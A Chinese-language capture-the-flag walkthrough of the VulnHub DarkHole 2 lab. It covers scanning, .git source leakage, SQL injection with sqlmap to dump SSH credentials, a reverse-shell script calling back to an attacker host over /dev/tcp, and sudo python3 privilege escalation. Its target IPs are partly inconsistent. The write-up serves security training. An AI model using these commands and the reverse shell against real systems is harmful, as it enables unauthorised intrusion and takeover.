声明
本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,我不承担任何法律及连带责任。
靶场信息:
地址:https://www.vulnhub.com/entry/darkhole-2,740/
发布日期:2021 年 9 月 3 日
难度:难
目标:获得root权限
运行:VMware
提示:不要为 Brute-Force 浪费时间
一、信息收集
1 获取靶机ip
netdiscover -r 10.0.1.0/24 -i eth0
得到ip地址:10.0.1.4
2 访问靶机
http://10.0.1.4/
3 开放端口服务信息获取
nmap -v -T4 -p- -A -oN nmap.log 10.0.1.4
得到信息(存在.git泄露):
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 57:b1:f5:64:28:98:91:51:6d:70:76:6e:a5:52:43:5d (RSA) | 256 cc:64:fd:7c:d8:5e:48:8a:28:98:91:b9:e4:1e:6d:a8 (ECDSA) |_ 256 9e:77:08:a4:52:9f:33:8d:96:19:ba:75:71:27:bd:60 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-git: | 10.0.1.4:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: i changed login.php file for more secure | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: DarkHole V2
注意这里的80端口服务中扫描到.Git信息,可以利用.git信息泄露漏洞获取源码
8585端口安装有gitea web应用
4 目录扫描
dirsearch -u http://10.0.1.3/
gobuster dir -u http://10.0.1.3/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
二、漏洞探测+利用
1. 获取源码方法1
使用 wget 和 git
wget递归下载所有文件 wget -r http://192.168.19.137/.git
这将创建一个名称为 IP 地址的目录。在目录中,它包含递归下载的文件,包括“.git”。
按如下方式克隆它。
git clone . webapp
这将创建一个 git 存储库“webapp”,我们可以在其中执行所有 git 操作。
在 login.php 页面上,我们看到了登录逻辑。
显示的部分正在清理输入。因此,我们无法执行 SQL 注入。但是,当我检查 git 日志时,我们会在同一个地方看到凭据。
执行
git log
git 日志中,我们看到作者在第二次提交时添加了默认凭据。因此,让我们将 HEAD 切换到该提交。
git checkout a4d9 cat login.php
lush@admin.com/321
现在,我们可以看到 ID 为 1 的用户的凭据。我们现在可以轻松登录 Web 应用程序
2.获取源码方法2
使用 GitTools工具
https://github.com/internetwache/GitTools
共有三种工具,我将使用其中的两种。
将.git目录转储到目录gitdump。 ./Dumper/gitdumper.sh http://10.0.1.4/.git/ gitdump
将提取源代码并按照提交进行组织 ./Extractor/extractor.sh . .
这样,我们就可以从 .git 目录中获取源代码了。
其余的和之前的一样。唯一的区别是它将所有内容转储到单独的目录中。
2.SQL注入
URL 上,我们看到一个 GET 参数“id”。当我们改变它的值时,我们也可以观察到页面的变化。
id=null时,数据为空
单引号
sqlmap跑一下
将请求包保存到文件,
sqlmap -r sql3 -p id --random-agent
存在union注入
判断权限为DBA
os-shell失败,不知道网站路径
前面git找到数据库的库名是darkhole_2
用sqlmap跑这个库看看有什么表
sqlmap -r sql3 -p id --random-agent --is-dba --technique=U --current-db
sqlmap -r sql3 -p id --random-agent --is-dba --technique=U -D darkhole_2 --tables
ssh这个表应该有问题,看列名
sqlmap -r sql3 -p id --random-agent --is-dba --technique=U -D darkhole_2 -T ssh --columns
3.得到ssh用户名密码
sqlmap -r sql3 -p id --random-agent --is-dba --technique=U -D darkhole_2 -T ssh --dump
+----+------+--------+ | id | pass | user | +----+------+--------+ | 1 | fool | jehad | +----+------+--------+
ssh登录
ssh jehad@10.0.1.4
4.发现命令执行
查看jehad用户的命令记录
cat .bash_history
发现命令执行
试一下果然能行,是losy用户的权限
curl "http://127.0.0.1:9999/?cmd=id"
5.获取losy用户shell
将反弹shell的文件下载到/tmp路径,kali的ip是10.0.1.12
#!/bin/bash bash -i >& /dev/tcp/10.0.1.12/6666 0>&1
curl "http://127.0.0.1:9999/?cmd=bash%20/tmp/shell"
6.user.txt
7.获取losy密码
再次查看历史记录,发现losy密码是gang
成功连接ssh
查看losy用户的sudo权限(jehad用户无法使用sudo)
可以使用python3
三、权限提升
1.获取root权限
sudo python3 -c 'import os; os.system("/bin/sh")'
2.获取root flag
DarkHole{'Legend'}
总结
这台靶机难度定义的是难,但也不难,比第一个难一点点。我翻了一下网上的教程,他们居然没看历史命令记录,好吧,这可能是出题人忘记删掉了,但难度还行吧。命令记录会保留一个crontab的计划任务,这用LinEnum脚本很容易发现,然后就是通过查看源码发现命令执行的web服务,进行反弹shell得到losy的shell,在历史记录中发现losy的密码,登上去ssh,查看sudo即可使用python3获取root权限。
参考
https://nepcodex.com/2021/09/darkhole_2-walkthrough-vulnhub-writeup/